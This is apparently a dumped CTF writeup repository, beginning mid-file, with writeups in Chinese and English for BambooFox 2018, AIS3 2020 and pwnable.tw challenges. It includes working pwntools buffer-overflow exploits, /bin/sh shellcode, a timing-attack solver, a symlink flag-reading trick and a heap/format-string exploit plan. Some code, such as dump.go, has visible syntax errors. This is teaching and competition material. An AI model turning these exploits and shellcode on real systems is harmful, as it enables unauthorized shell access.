pc=0x4a263e] 62 | 63 | goroutine 1 [running]: 64 | runtime.throw(0x4d8780, 0x5) 65 | /usr/local/go/src/runtime/panic.go:605 +0x95 fp=0xc420043f28 sp=0xc420043f08 pc=0x427a05 66 | runtime.sigpanic() 67 | /usr/local/go/src/runtime/signal_unix.go:374 +0x227 fp=0xc420043f78 sp=0xc420043f28 pc=0x43d037 68 | main.main() 69 | /home/frozenkp/Downloads/gobin/infant-gotoheaven/infant-gotoheaven.go:27 +0x1ee fp=0xc420043f80 sp=0xc420043f78 pc=0x4a263e 70 | ``` 71 | 72 | 最後一行有寫到死在`infant-gotoheaven.go:27` 73 | 74 | 用`objdump`看一下發現是死在`ret`,所以應該是可以**蓋到 return address** 75 | 76 | ![](https://i.imgur.com/5yNqs1q.png) 77 | 78 | ### weird 79 | 80 | 接著在翻一下`objdump`的結果,發現一個叫 `weird`的 function 81 | 82 | ![](https://i.imgur.com/zG0ODob.png) 83 | 84 | 其中有一行`CALL os/exec.Command(SB)`可以執行 system call 85 | 86 | 檢查一下其他地方的程式碼,發現`main.main`有呼叫到 87 | 88 | ![](https://i.imgur.com/dOiwh0q.png) 89 | 90 | 使用`gdb`強制讓`cmp`符合後跳過去後發現這個 system call 的參數是 `/bin/sh` 91 | 92 | ![](https://i.imgur.com/LSHqpjy.png) 93 | 94 | 所以只要進入到`weird`應該就能拿到 shell 了 95 | 96 | ## 解法 97 | 98 | ### payload 99 | 100 | 先隨便輸入來造成 segmenataion fault,確定程式會產生 buffer overflow,且是死在 return addresss 錯誤 101 | 102 | ![img](https://i.imgur.com/sMorU1A.png) 103 | 104 | 計算一下 payload 是 **224** 105 | 106 | ### weird 107 | 108 | 因為可以蓋到 return address,也就是說可以任意指定要跳到哪裡,那就把 return address 改成`weird`的開頭`0x4a2650`就可以跳過去執行囉 109 | 110 | 執行後果然就成功拿到 shell 了 OwO -------------------------------------------------------------------------------- /2018/BambooFox_CTF_2018/infant-gotoheaven/exploit_infant-gotoheaven.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #r = process("./infant-gotoheaven") 4 | r = remote('bamboofox.cs.nctu.edu.tw', 58796) 5 | 6 | payload = 'a'*224 7 | weird = 0x4a2650 8 | 9 | r.sendline(payload + p64(weird)) 10 | 11 | r.interactive() 12 | -------------------------------------------------------------------------------- /2018/BambooFox_CTF_2018/water-impossible/README.md: -------------------------------------------------------------------------------- 1 | # water-impossible 2 | 3 | > Challenge Link: [water-impossible](http://ctf.bamboofox.cs.nctu.edu.tw/challenges#water-impossible) 4 | > 5 | > Category: pwn 6 | 7 | Welcome !! Challenger ~ 8 | 9 | Here is a simple challenge for you. 10 | 11 | Try to find the key to pass. 12 | 13 | `nc bamboofox.cs.nctu.edu.tw 58799` 14 | 15 | [water-impossible.zip](http://ctf.bamboofox.cs.nctu.edu.tw/files/bb63dedd19b55a8fab5a08f28dea6269/water-impossible.zip) 16 | 17 | ## 須具備的知識 18 | 19 | ### Stack 20 | 21 | stack 是程式在執行中用來儲存資料的結構,儲存的資料如 22 | 23 | - 暫時的值 24 | - return address 25 | - 區域變數 26 | - ... 27 | 28 | ### rsp 29 | 30 | `rsp` 是用來儲存 stack 所在位置的暫存器 31 | 32 | ### 區域變數 33 | 34 | 宣告區域變數時,會將值存在 stack 上 35 | 36 | 假設宣告兩個變數 a, b 37 | 38 | ```c 39 | int a = 1; 40 | int b = 2; 41 | ``` 42 | 43 | 宣告 a 時,stack 狀態如下 44 | 45 | ``` 46 | +----------+ 0x7fffffffe728 low 47 | | a = 1 | 48 | +----------+ 0x7fffffffe730 49 | | ... | 50 | +----------+ 0x7fffffffe738 high 51 | ``` 52 | 53 | 宣告 b 時,stack 狀態如下 54 | 55 | ``` 56 | +----------+ 0x7fffffffe720 low 57 | | b = 2 | 58 | +----------+ 0x7fffffffe728 59 | | a = 1 | 60 | +----------+ 0x7fffffffe730 61 | | ... | 62 | +----------+ 0x7fffffffe738 high 63 | ``` 64 | 65 | 當 push 值進 stack 時,`rsp` 的位置會減足夠的大小,讓新的值可以填進來,所以後進來的 b 反而會存在較低位的地方 66 | 67 | ### Buffer overflow 68 | 69 | 在讀取輸入的時候,輸入的大小超過變數的大小,此時多的部份會超越區域變數的位址,進而蓋到 stack 上的其他位置 70 | 71 | 假設有一程式如下 72 | 73 | ```c 74 | int key = 0xdeadbeef; 75 | char buf[16] = {0}; 76 | gets(buf); 77 | ``` 78 | 79 | 宣告後 stack 狀態如下 80 | 81 | ``` 82 | +----------------+ 0x7fffffffe720 low <-----+ 83 | | 0x0 | | 84 | +----------------+ 0x7fffffffe728 | buf[16] 85 | | 0x0 | | 86 | +----------------+ 0x7fffffffe730 <-----+-----+ 87 | | 0xdeadbeef | | key 88 | +----------------+ 0x7fffffffe738 high <-----------+ 89 | ``` 90 | 91 | 因為 gets 沒有限制輸入的長度,因此可以輸入超過 buf 長度,此時多的部份就會蓋到 stack 其他部份 92 | 93 | 例如輸入 `aaaaaaaabbbbbbbbcccccccc` 94 | 95 | ``` 96 | +----------------+ 0x7fffffffe720 low <-----+ 97 | | aaaaaaaa | | 98 | +----------------+ 0x7fffffffe728 | buf[16] 99 | | bbbbbbbb | | 100 | +----------------+ 0x7fffffffe730 <-----+-----+ 101 | | cccccccc | | key 102 | +----------------+ 0x7fffffffe738 high <-----------+ 103 | ``` 104 | 105 | 原本 `key` 存的位置就被 buf 的輸入蓋掉了 106 | 107 | ## 觀察 108 | 109 | 觀察一下code後可以發現觸發`system("/bin/sh")`的條件為`(int)token == 6666` 110 | 111 | 而token是一個宣告在`main`但從未被使用到的變數 112 | 113 | ```c 114 | if((int)token == 6666){ 115 | printf("wow, That's impossible to touch this token ?!"); 116 | system("/bin/sh"); 117 | } 118 | ``` 119 | 120 | 另外可以被exploit的部份為`read()`的 buffer overflow 121 | 122 | ```c 123 | char key[16]; 124 | read(0, key, 40); 125 | ``` 126 | 127 | 通常這類題目可能的作法有以下兩種 128 | 129 | ### 蓋 return 130 | 131 | 如果stack一直往下蓋的話可以碰到`return`,那就直接跳到`system("/bin/sh")`就好了 132 | 133 | 不過這題有限制長度40,所以沒辦法蓋到return 134 | 135 | ### 蓋 token 136 | 137 | 因為`token`也是宣告在stack上,應該可以找到`token`的位置後直接蓋成想要的值 138 | 139 | ## 解法 140 | 141 | 以下解法是用蓋token的方法 142 | 143 | ### 找 paylod 長度 144 | 145 | 先輸入以下字串來定位 146 | 147 | ``` 148 | AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFF 149 | ``` 150 | 151 | 到`if((int)token == 6666)`時 stack 狀態如下 152 | 153 | ![](https://i.imgur.com/0wDePvP.png) 154 | 155 | 上圖可以看到`token`的位置以及內容是`[rbp-0x4] : 0x7fffffffdf1c ("DDDDEEEEEEEE0آ\367\377\177")` 156 | 157 | 由此可知到`token`之前,所需要的 payload 長度是 **28** ,也就是 158 | 159 | ``` 160 | AAAAAAAABBBBBBBBCCCCCCCCDDDD 161 | ``` 162 | 163 | ### 蓋token的值 164 | 165 | 因為這支程式是在 **64位元** 的環境編譯的,所以送的時候要給64位元的位址,使用 pwntool 的話只要用`p64()`就可以囉 166 | 167 | ```python 168 | r.sendline(payload + p64(0x1a0a)) 169 | ``` 170 | -------------------------------------------------------------------------------- /2018/BambooFox_CTF_2018/water-impossible/exploit_water-impossible.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #r = process('./water-impossible') 4 | r = remote('bamboofox.cs.nctu.edu.tw', 58799) 5 | 6 | payload = 'a'*28 7 | 8 | r.recvuntil(':') 9 | 10 | raw_input() 11 | 12 | r.sendline(payload + p64(0x1a0a)) 13 | 14 | r.interactive() 15 | -------------------------------------------------------------------------------- /2018/BambooFox_CTF_2018/water-impossible/water-impossible.c: -------------------------------------------------------------------------------- 1 | #include"stdio.h" 2 | #include"stdlib.h" 3 | 4 | 5 | int main(){ 6 | setvbuf(stdout, 0, 2, 0); 7 | setvbuf(stdin, 0, 2, 0); 8 | int token = 1234; 9 | char key[16]; 10 | 11 | printf("Welcome !! Challenger ~\n"); 12 | printf("Here is a simple challenge for you.\n"); 13 | printf("Try to find the key to pass :"); 14 | 15 | read(0, key, 40); 16 | 17 | if((int)token == 6666){ 18 | printf("wow, That's impossible to touch this token ?!"); 19 | system("/bin/sh"); 20 | } 21 | 22 | return 0; 23 | } 24 | -------------------------------------------------------------------------------- /2020/AIS3_pre-exam/Clara/dump.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import( 4 | "bufio" 5 | "os" 6 | "log" 7 | "encoding/binary" 8 | ) 9 | 10 | func main(){ 11 | file, _ := os.Open("Clara.dump") 12 | defer file.Close() 13 | r := bufio.NewReader(file) 14 | 15 | key_1 := make([]byte, 8) 16 | r.Read(key_1) 17 | key := make([]byte, 8) 18 | r.Read(key) 19 | XOR([]byte{kay_1, key) 20 | log.Println("key =", string(key)) 21 | 22 | 23 | for true { 24 | err := readFile(r, key) 25 | if err != nil { 26 | log.Fatal(err) 27 | } 28 | } 29 | } 30 | 31 | func readFile(r *bufio.Reader, key []byte) error { 32 | // filename 33 | size := make([]byte, 4) 34 | if _, err := r.Read(size); err != nil {return err} 35 | XOR(key, size) 36 | 37 | filename := make([]byte, binary.LittleEndian.Uint32(size)) 38 | if _, err := r.Read(filename); err != nil {return err} 39 | XOR(key, filename) 40 | log.Printf("Filename: %s...", string(filename)) 41 | 42 | // file content 43 | if _, err := r.Read(size); err != nil {return err} 44 | XOR(key, size) 45 | 46 | content := make([]byte, binary.LittleEndian.Uint32(size)) 47 | if _, err := r.Read(content); err != nil {return err} 48 | XOR(key, content) 49 | 50 | if err := ioutil.WriteFile(string(filename), content, 0644) {return err} 51 | log.Println("[SAVED]") 52 | 53 | return nil 54 | } 55 | 56 | func XOR(key, text []byte){ 57 | for i:=0; i 65536: 62 | print('File is too large.') 63 | quit() 64 | 65 | data = sys.stdin.read(size) 66 | with tempfile.NamedTemporaryFile(mode='w+', suffix='.tar', delete=True, dir='.') as tarf: 67 | with tempfile.TemporaryDirectory(dir='.') as outdir: 68 | tarf.write(data) 69 | tarf.flush() 70 | try: 71 | subprocess.check_output(['/bin/tar', '-xf', tarf.name, '-C', outdir]) 72 | except: 73 | print('Broken tar file.') 74 | raise 75 | 76 | try: 77 | a = subprocess.check_output(['/usr/bin/sha1sum', 'flag.txt']) 78 | b = subprocess.check_output(['/usr/bin/sha1sum', os.path.join(outdir, 'guess.txt')]) 79 | a = a.split(b' ')[0] 80 | b = b.split(b' ')[0] 81 | assert len(a) == 40 and len(b) == 40 82 | if a != b: 83 | raise Exception('sha1') 84 | except: 85 | print('Different.') 86 | raise 87 | 88 | print(open('flag.txt', 'r').readline()) 89 | ``` 90 | 91 | ### Solution 92 | 93 | 這題是要上傳一個 tar 檔,裡面要有寫有 Flag 的 `guess.txt`,這邊可以使用 `ln` 來將 `guess.txt` 連結到 `flag.txt`,這樣開檔確認時就會開到相同的檔案。 94 | 95 | ``` 96 | ln -s ../flag.txt guess.txt 97 | tar -cf Shichirou.tar guess.txt 98 | ``` 99 | 100 | ### Note 101 | 102 | 這題其實是 AIS3 pre-exam 2016 misc 3,只有題目敘述、flag、以及家目錄的位置有更改,沒想到解出來的人好少QQ 103 | 104 | ## 👑 Saburo 105 | 106 | ### Description 107 | 108 | Spell you flag and fight with me. 109 | PS. flag is printable characters with `AIS3{…}` 110 | 111 | ### Solution 112 | 113 | 這題考的是 timing attack,隨著猜對的字越多,所需的時間就會越久,可以利用這個特性逐字檢驗,找出可能性最高的字。不過檢驗一個字元所需的時間是浮動的,雖說多檢驗一個字的確會花比較多時間,但浮動的範圍卻會越來越大,檢驗一個字元所需的時間為 11~15 ms,假設檢驗到第 10 個字元,得到的結果最快跟最慢可以差到 50 ms,這個問題會增加檢驗的難易度。 114 | 115 | 為了解決上述問題,必須使用一些技巧來避免誤判,首先是要確定哪個答案是錯的,當不斷往上增加時,得到的數字如果沒有繼續增加就代表前面可能有字元猜錯,這邊可以將前幾個字的差值平均,並與現在的差值做比較 (例如判斷現在的差值是否大於原差值的一半),如果發現是錯的,就往前一個字元重找,除此之外,也可以將同個字串送多次來取得平均值,來求得比較穩定的答案。 116 | 117 | ### Note 118 | 119 | 這題原本的設計是使用 cpu time 來計算,但比賽開始後,因為很多人一起測,得到的時間其實不太穩定,因此比賽開始後幾小時我就將題目回傳的時間改成 `time += 11 + random()%5` 了,但賽中許多同學依然認為是系統不穩定造成的,並沒有發現這題真正的考點並加以改善,有點可惜QQ。 120 | 121 | ## 👻 Soy 122 | 123 | ### Description 124 | 125 | Here is your flag. 126 | Oops, my bad. 127 | 128 | ![](https://i.imgur.com/OdhitRq.png) 129 | 130 | ### Solution 131 | 132 | 這題可以參考英文版 [Wiki](https://en.wikipedia.org/wiki/QR_code),在題目的 QRcode 中,被遮住的部分是容錯區塊,格式區塊以及資料區塊都是正常的,如果不管容錯的話,裡面存的資料是可以正確地解開的,而平常使用的解碼程式都會考慮容錯的部分,因此不會輸出儲存的資料。這題可以使用[線上工具](https://merricx.github.io/qrazybox/)或是跟著格式手解,解答請參考下圖: 133 | 134 | ![](https://i.imgur.com/65QlMr5.png) 135 | 136 | ### Note 137 | 138 | 這題是想考 QRcode 的格式的,只要看懂 QRcode 的設計就可以順利解出來,當時沒發現有線上工具可以用,也沒發現 HSCTF 2020 N-95 才剛出過類似的題目,結果就被瞬間解出來了QQ 139 | 140 | ## 🧸 Clara 141 | 142 | ### Description 143 | 144 | I did nothing special today. >_< 145 | 146 | ### Solution 147 | 148 | 這題給了一包 100 mb 的 pcap,先分析一下傳輸的種類 (wireshark 在 statics -> conversations -> tcp),可以發現有兩筆本機跟 `140.112.42.47` 的傳輸量特別大,且這兩筆是唯一未加密的 (可以用 `http` 過濾出來)。 149 | 150 | ![](https://i.imgur.com/diTAAkA.png) 151 | 152 | follow 其中一筆,可以看到傳遞資料如下圖,比較一下這兩筆可以發現,開頭都是傳 `deadbeeffaceb00c`,後面才不一樣,前 8 bytes 實際上是在做 key exchange,而 key 的長度是 8 bytes,遠端會將 key XOR `deadbeeffaceb00c`,本地端收到後再解密得到 key,接著後面的傳輸都是經由該 key 做 XOR 後傳輸的。 153 | 154 | ![](https://i.imgur.com/9ILBv9a.png) 155 | 156 | 其實翻到後面可以發現有些區段是可以看到包含 `AIS3{NO}` 和 `xSECRETx` 的字串,這分別是兩次所使用的 key,因為傳遞的資料中包含 `0x00`,所以經過 XOR 後可以直接看到原本的 key,即便沒有發現前面是 key exchange,一樣可以從這邊推敲出加密方式以及 key。 157 | 158 | ![](https://i.imgur.com/L3qySut.png) 159 | 160 | 接著要解密所傳輸的資料,觀察一下格式可以發現後面的資料都是由 4 bytes + n bytes + 4 bytes + m bytes 組成,其中 n 都比較小,而 m 都非常大,這邊可以猜測 m 是資料本身,而 n 則是跟該資料有關的 metadata,前面的 4 bytes 則可能是長度。因為一般後門透過 socket 在傳輸時,必須先溝通好格式,C2 Server 才能順利解讀 backdoor 傳過來的訊息,尤其是在傳送檔案這種不固定大小的資料,一定要先講好長度或是前後綴。 161 | 162 | 經過解密後可以發現,4 bytes 為 Little Endian 表示的長度 (n / m),後面 n / m bytes 則分別是檔名以及檔案內容,其中第二次對話的第四張圖片即為 Flag。 163 | 164 | ![](https://i.imgur.com/5wsqeMz.jpg) 165 | 166 | ### Note 167 | 168 | 我最近的研究項目是以單純利用 monitor 錄到的資訊,且盡量避免直接分析 binary 的方式來分析 malware,所以想試著把各種線索匯集在一起出成題目,我最後採用了 pcap 的方式,因為比較好分析,對新手也比較容易上手。因為只有 pcap,所以必須給足線索,我選擇透過 `http` 的方式傳遞數張大型圖片,如果有仔細分析過內容的話,應該是可以很快找到可疑的流量。 169 | 170 | 接著是加密的部分,直接看的話是看不出到底在傳什麼,因此可以知道是有加密過的,問題是用什麼方式以及什麼 key 加密,如果是直接使用設計時就寫好的 key 加密的話,我覺得這題就太通靈了,因此我用了比較簡單易懂的方式來做 key exchange,為了避免參賽者沒有發現,我故意將 backdoor 斷線並重新連線,且兩次使用不同的 key 來加密,透過觀察初始的 `deadbeeffaceb00c` 應該就可以推敲出來了 (其中一位解開的同學也確實是這麼做的)。另外 key 的長度設定為 8 bytes 也是一個線索,因為圖片會有許多 `0x00` 所以加密後可以直接看到 key 的內容,將 wireshark 切到 hex mode 以後,它是以每 16 bytes 做對齊的,仔細觀察就可以發現同一列會出現多個同樣字元,全部彙集起來後就是該次的 key 了。 171 | 172 | 最後是傳輸內容的部分,在透過 socket 傳輸時,因為不知道對方要傳什麼內容,所以必須先訂好一些傳輸的規則,否則對方收到的就只是一大片的資料而已,完全不知道怎麼切割。一般來說會分成兩種,第一種是既定的格式,最前面的 key exchange 就屬於這種,事先就講好 backdoor 傳 8 bytes,而 C2 回 8 bytes,第二種則是不固定長度的,常會用在傳檔案或字串的時候,可以像這題一樣,先傳一個固定長度 (這題為 4 bytes) 表示長度,接著就只要接收該長度的資料即可,也可以透過特殊前後綴,例如 `...` 來標示出資料的範圍。 173 | 174 | 綜合以上幾個概念,就可以順利的解開這題了,不過一直到最後我丟出一堆提示才有人解開QQ,我覺得可能是因為同學對 backdoor 研究較少,因此對許多線索比較不敏感。其實這題我在出完後還有拿給在 Forensic 方面有研究的前輩看看,我們覺得線索給的夠多,應該是不會太通靈,他有建議我一些降低難度的方法,例如可以直接在流量中傳遞整個 backdoor,之後再透過 backdoor 做之後的傳輸,不過覺得這樣就變成單純的 dump binary 然後 reverse 了,有點無趣,所以才保留了原始的作法。 -------------------------------------------------------------------------------- /2020/AIS3_pre-exam/Saburo/Saburo_docker.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/frozenkp/CTF/f335faccc4abb90ad6680785c19b5337510f954a/2020/AIS3_pre-exam/Saburo/Saburo_docker.tar.gz -------------------------------------------------------------------------------- /2020/AIS3_pre-exam/Saburo/Saburo_modified.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import( 4 | "fmt" 5 | "time" 6 | "syscall" 7 | "crypto/sha256" 8 | "math/rand" 9 | ) 10 | 11 | func main(){ 12 | rand.Seed(time.Now().UnixNano()) 13 | 14 | //_, usrStart := getSysTime() 15 | 16 | flag := []byte("AIS3{A1r1ght_U_4r3_my_3n3nnies}") 17 | var guess string 18 | 19 | fmt.Printf("Flag: ") 20 | fmt.Scanf("%s", &guess) 21 | 22 | win := true 23 | guessByte := make([]byte, len(flag)) 24 | copy(guessByte, []byte(guess)) 25 | 26 | execTime := 0 27 | for i:=0; i max_time { 58 | max_time = new_time 59 | max_byte = byte(j) 60 | } 61 | } 62 | } 63 | 64 | if i > 1 { 65 | if max_time - pre_time[i-1] < (pre_time[i-1] - pre_time[i-2])/2 { 66 | max_time = pre_time[i-2] 67 | i -= 2 68 | continue 69 | } 70 | } 71 | flag[i] = max_byte 72 | pre_time[i] = max_time 73 | 74 | log.Println(string(flag)) 75 | } 76 | 77 | ch <- nil 78 | } 79 | 80 | func solve(flag string) (string, error) { 81 | conn, err := Remote("60.250.197.227:11001") 82 | //conn, err := Process("./Saburo_modified") 83 | if err != nil { 84 | return "", err 85 | } 86 | 87 | conn.Sendline(flag) 88 | resp, err := conn.Recvuntil('\n') 89 | if err != nil { 90 | return "", err 91 | } 92 | 93 | err = conn.Close() 94 | return resp, err 95 | } 96 | -------------------------------------------------------------------------------- /2020/AIS3_pre-exam/Shichirou/Shichirou_docker.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/frozenkp/CTF/f335faccc4abb90ad6680785c19b5337510f954a/2020/AIS3_pre-exam/Shichirou/Shichirou_docker.tar.gz -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | # This is a dockerfile for pwn environment. 2 | # Last update: 2018/05/01 3 | # version 1.0.8 4 | 5 | # Run command: 6 | # docker run -it {--name pwn_env} {-v /??/data:/root/data} --privileged frozenkp/pwn /bin/bash 7 | 8 | FROM ubuntu 9 | 10 | MAINTAINER frozenkp 11 | 12 | WORKDIR /root 13 | 14 | RUN dpkg --add-architecture i386 ; apt-get update ; apt-get install -y git tmux gdb vim binutils python python-pip python-dev libssl-dev libffi-dev build-essential rubygems netcat nmap libc6:i386 libncurses5:i386 libstdc++6:i386 python-capstone 15 | 16 | # pwntools 17 | RUN pip install --upgrade pip ; pip install --upgrade pwntools 18 | 19 | # pwngdb 20 | RUN git clone https://github.com/scwuaptx/Pwngdb.git ; cp ~/Pwngdb/.gdbinit ~/ 21 | 22 | # peda 23 | # original 24 | # RUN git clone https://github.com/longld/peda.git ~/peda ; echo "source ~/peda/peda.py" >> ~/.gdbinit 25 | # angelboy-peda 26 | RUN git clone https://github.com/scwuaptx/peda.git ~/peda ; echo "source ~/peda/peda.py" >> ~/.gdbinit ; cp ~/peda/.inputrc ~/ 27 | 28 | # onegadget 29 | RUN gem install one_gadget 30 | 31 | # radare2 32 | RUN git clone https://github.com/radare/radare2.git ; radare2/sys/install.sh 33 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CTF 2 | 3 | frozenkp's CTF Writeups & useful tools 4 | 5 | ## Writeups 6 | 7 | | Year | CTF | Challenge | Category | Keyword | 8 | | ----- | ----------------- | ------------------------- | ----------- | --------------------------------- | 9 | | 2014 | NoConName qual | inBINcible | reverse | Golang, xor | 10 | | 2015 | B-sides vancouver | delphi | reverse | Golang, cmd injection | 11 | | 2017 | HITB CTF | 2017, Dating in Singapore | misc | | 12 | | 2017 | HITB CTF | Flying High | misc | UBIfs | 13 | | 2017 | HITB CTF | Pasty | web | Jwt | 14 | | 2017 | Seccon CTF | Qubic Rube | programming | QRcode | 15 | | 2017 | Seccon CTF | putchar music | programming | | 16 | | 2018 | BambooFox CTF | infant-gogogo | pwn | Golang, buffer overflow | 17 | | 2018 | BambooFox CTF | infant-gotoheaven | pwn | Golang, buffer overflow | 18 | | 2018 | BambooFox CTF | water-impossible | pwn | buffer overflow | 19 | | 2018 | ASIS CTF qual | Plastic | misc | base64, binwalk | 20 | | 2018 | ASIS CTF qual | Trashy Or Classy | forensic | casync | 21 | | 2018 | ASIS CTF qual | Buy flags | web | Flask, json | 22 | | Other | pwnable.tw | Start | pwn | Buffer overflow, stack executable | 23 | | Other | pwnable.tw | orw | pwn | shellcode(open, read, write) | 24 | | Other | pwnable.tw | hacknote | pwn | Heap use after free | 25 | | Other | pwnable.tw | dubblesort | pwn | Buffer overflow | 26 | | Other | pwnable.tw | criticalheap | pwn | localtime_TZ, format string | 27 | 28 | ## Useful Tools 29 | 30 | ### Dockerfile 31 | 32 | Pwn environment in docker, inclusive of peda, pwngdb, one_gadget, readelf…. 33 | 34 | ```bash 35 | $ docker pull frozenkp/pwn 36 | $ docker run -it {--name pwn_env} {-v /??/data:/root/data} --privileged frozenkp/pwn /bin/bash 37 | $ docker exec -it pwn_env /bin/bash 38 | ``` 39 | 40 | -------------------------------------------------------------------------------- /others/pwnable.tw/Start/README.md: -------------------------------------------------------------------------------- 1 | Start 2 | === 3 | 4 | ## Problem 5 | Just a start. 6 | 7 | `nc chall.pwnable.tw 10000` 8 | 9 | [start](https://pwnable.tw/static/chall/start) 10 | 11 | ### nc 12 | ``` 13 | Let's start the CTF:{input} 14 | ``` 15 | 16 | ## Observation 17 | ### Read length 18 | can read **0x3c** bytes 19 | 20 | ![](https://i.imgur.com/PCJNe4r.png) 21 | 22 | ### Buf 23 | store on stack and **stack excutable** 24 | 25 | ![](https://i.imgur.com/zMCZ1I7.png) 26 | 27 | ### Ret 28 | Payload = 20 bytes 29 | 30 | ## Solution 31 | ### Leak stack address 32 | If we want to execute code on stack, we should return $PC to stack at first. However, stack address is not always the same. Thus, we should leak stack address in the beginning. 33 | 34 | #### Target 35 | There is an address (`0xffffd220`) after return address. 36 | 37 | **$esp** will be `0xffffd21c` ( --> `0xffffd220`) after return, then we can use **write** to print this address. 38 | 39 | ![](https://i.imgur.com/gevRuVg.png) 40 | 41 | #### Return 42 | Return to `mov ecx, esp` before **write** to mov buffer to the target. 43 | 44 | ![](https://i.imgur.com/2dfPkF0.png) 45 | 46 | ### Shellcode 47 | After leaking address, we get another chance to write. Buffer is $esp (still on the stack). 48 | 49 | #### Target 50 | I found that return address on the stack is `0x%%%%%%T0` 51 | - % from the address leaked in advance 52 | - T is a random number from 0 to f 53 | 54 | Therefore, just put `0x%%%%%%T4` at return address. Then write shellcode after it. 55 | 56 | ![](https://i.imgur.com/EZAE3C4.png) 57 | #### Which number is T ? 58 | There are 16 possible numbers, so just **guess** !!! 59 | 60 | You will get shell if you are fortunate enough. OwO 61 | 62 | -------------------------------------------------------------------------------- /others/pwnable.tw/Start/hack.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #r = process('./start') 4 | r = remote('chall.pwnable.tw', 10000) 5 | 6 | #raw_input() 7 | 8 | shell = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80' 9 | 10 | read = 0x8048087 11 | 12 | s = r.recvuntil(':') 13 | print s 14 | r.sendline('a'*20 + p32(read)) 15 | 16 | s = r.recv() 17 | 18 | target = 0x54 + (ord(s[1]) << 8) + (ord(s[2]) << 16) + (ord(s[3]) << 24) 19 | 20 | print len(s) 21 | print hex(ord(s[0])) 22 | print hex(ord(s[1])) 23 | print hex(ord(s[2])) 24 | print hex(ord(s[3])) 25 | 26 | r.sendline('a'*20 + p32(target) + shell) 27 | 28 | r.sendline('ls') 29 | 30 | r.interactive() 31 | -------------------------------------------------------------------------------- /others/pwnable.tw/criticalheap/README.md: -------------------------------------------------------------------------------- 1 | # criticalheap 2 | 3 | > Challenge link: [criticalheap](https://pwnable.tw/challenge/#8) 4 | > 5 | > Category: pwn 6 | > 7 | > Writeup: [criticalheap](https://github.com/frozenkp/CTF/tree/master/others/pwnable.tw/criticalheap) 8 | 9 | There are some secrets . Try to capture `/home/critical_heap++/flag`. 10 | 11 | We recommend you to use the provided docker environment to develop your exploit: 12 | 13 | `nc chall.pwnable.tw 10500` 14 | 15 | [critical_heap.tar.gz](https://pwnable.tw/static/chall/critical_heap.tar.gz) 16 | 17 | ## Observation 18 | 19 | 這題有很多個選項可以使用,以下講可能會用到的部分 20 | 21 | ### struct 22 | 23 | 這題有三個 struct (normal, time, system) 在一個 union,一開始就先在 .bss 段宣告長度 10 的 struct 陣列,其中某些變數 (name, value...) 是存字串的指標 24 | 25 | #### normal 26 | 27 | ``` 28 | 00000000 name 29 | ... 30 | 00000018 content 31 | ... 32 | ``` 33 | 34 | #### system 35 | 36 | ``` 37 | 00000000 name 38 | ... 39 | 00000020 value 40 | ... 41 | ``` 42 | 43 | ### create 44 | 45 | #### name 46 | 47 | name 的部分是先 read 進來以後,用 strdup 放到 struct 上的,所以也是存在 heap 上 48 | 49 | ![](https://i.imgur.com/fbl69dp.png) 50 | 51 | #### normal 52 | 53 | normal 的部分需要輸入 content,它是直接 read 到 rax + 0x18 (struct 上的 0x18) 的位置,沒有在後面補上 `0x00` 54 | 55 | ![](https://i.imgur.com/7ZPpc3s.png) 56 | 57 | #### time 58 | 59 | time 會用 localtime 拿取現在的時間以後,處理完存進 struct 60 | 61 | ![](https://i.imgur.com/Th8VE6i.png) 62 | 63 | localtime 先使用 getenv 抓取環境變數 TZ 的值,接著讀出 TZ 所指的檔案,並將內容存在 heap 上 64 | 65 | ![](https://i.imgur.com/kzabx9I.png) 66 | 67 | ![](https://i.imgur.com/XUBYeD0.png) 68 | 69 | ### play_system 70 | 71 | #### Set the name for the heap 72 | 73 | 這個功能其實就是 setenv 74 | 75 | ![](https://i.imgur.com/JeUENVX.png) 76 | 77 | #### Unset the name in the heap 78 | 79 | 這個功能是 unsetenv 80 | 81 | ![](https://i.imgur.com/GtViGDw.png) 82 | 83 | #### Get the value of name 84 | 85 | 這個功能比較特別,會先用 getenv 抓輸入的 name,接著將抓到的指標 (指向 heap 上存 value 處) 存在 rax + 0x20 (struct 上 0x20 的位置) 86 | 87 | ![](https://i.imgur.com/R67Ah33.png) 88 | 89 | ### play_normal 90 | 91 | #### Show the content of heap 92 | 93 | 這個功能有 format string 的漏洞,而且是使用 printf_chk 94 | 95 | ![](https://i.imgur.com/ssfVY7r.png) 96 | 97 | ### delete 98 | 99 | delete 實際上只有把指定的 struct 標成 0 而已,上面的資訊並沒有清空 100 | 101 | ![](https://i.imgur.com/WLIYn6j.png) 102 | 103 | ### Conclusion 104 | 105 | - create_normal 讀取 content 時沒有結尾 106 | - play_normal 有 format string 的漏洞 107 | - setenv 可以改動 TZ 的值 108 | - delete 沒有清空 109 | 110 | ## Solution 111 | 112 | 解法步驟如下: 113 | 114 | 1. leak heap base 位置 115 | 2. 利用 setenv 改動 TZ 以後,用 localtime 將 flag 讀到 heap 上 116 | 3. 利用 format string 印出 flag 117 | 118 | ### leak heap base 119 | 120 | 這個部分要利用 "delete 沒有清空" 的漏洞 121 | 122 | 先創 system,接著到 play 隨便創一個環境變數,再使用 play_system_get_value 來將環境變數的位址放到 struct 上,這是為了取得一段 heap address 123 | 124 | ``` 125 | 0x000 name 126 | 0x020 value (heap address) 127 | ``` 128 | 129 | 接著 delete 掉,然後創一個 normal 的 struct,此時 normal struct 會蓋在 system struct 原本的位置上 130 | 131 | 因為 content 存在 0x18,與原本的 value 差 0x8,要輸入 8 個字元才能碰到 value 的位置 132 | 133 | >不要輸入 \n 不然輸出會被截斷 134 | 135 | ``` 136 | 0x000 name 137 | 0x018 content ('AAAAAAAA') 138 | 0x020 value (heap address) 139 | ``` 140 | 141 | 最後就使用 show 把 struct 印出來就可以得到 heap address 了 142 | 143 | 因為在 heap 上相對位置不變,用 gdb 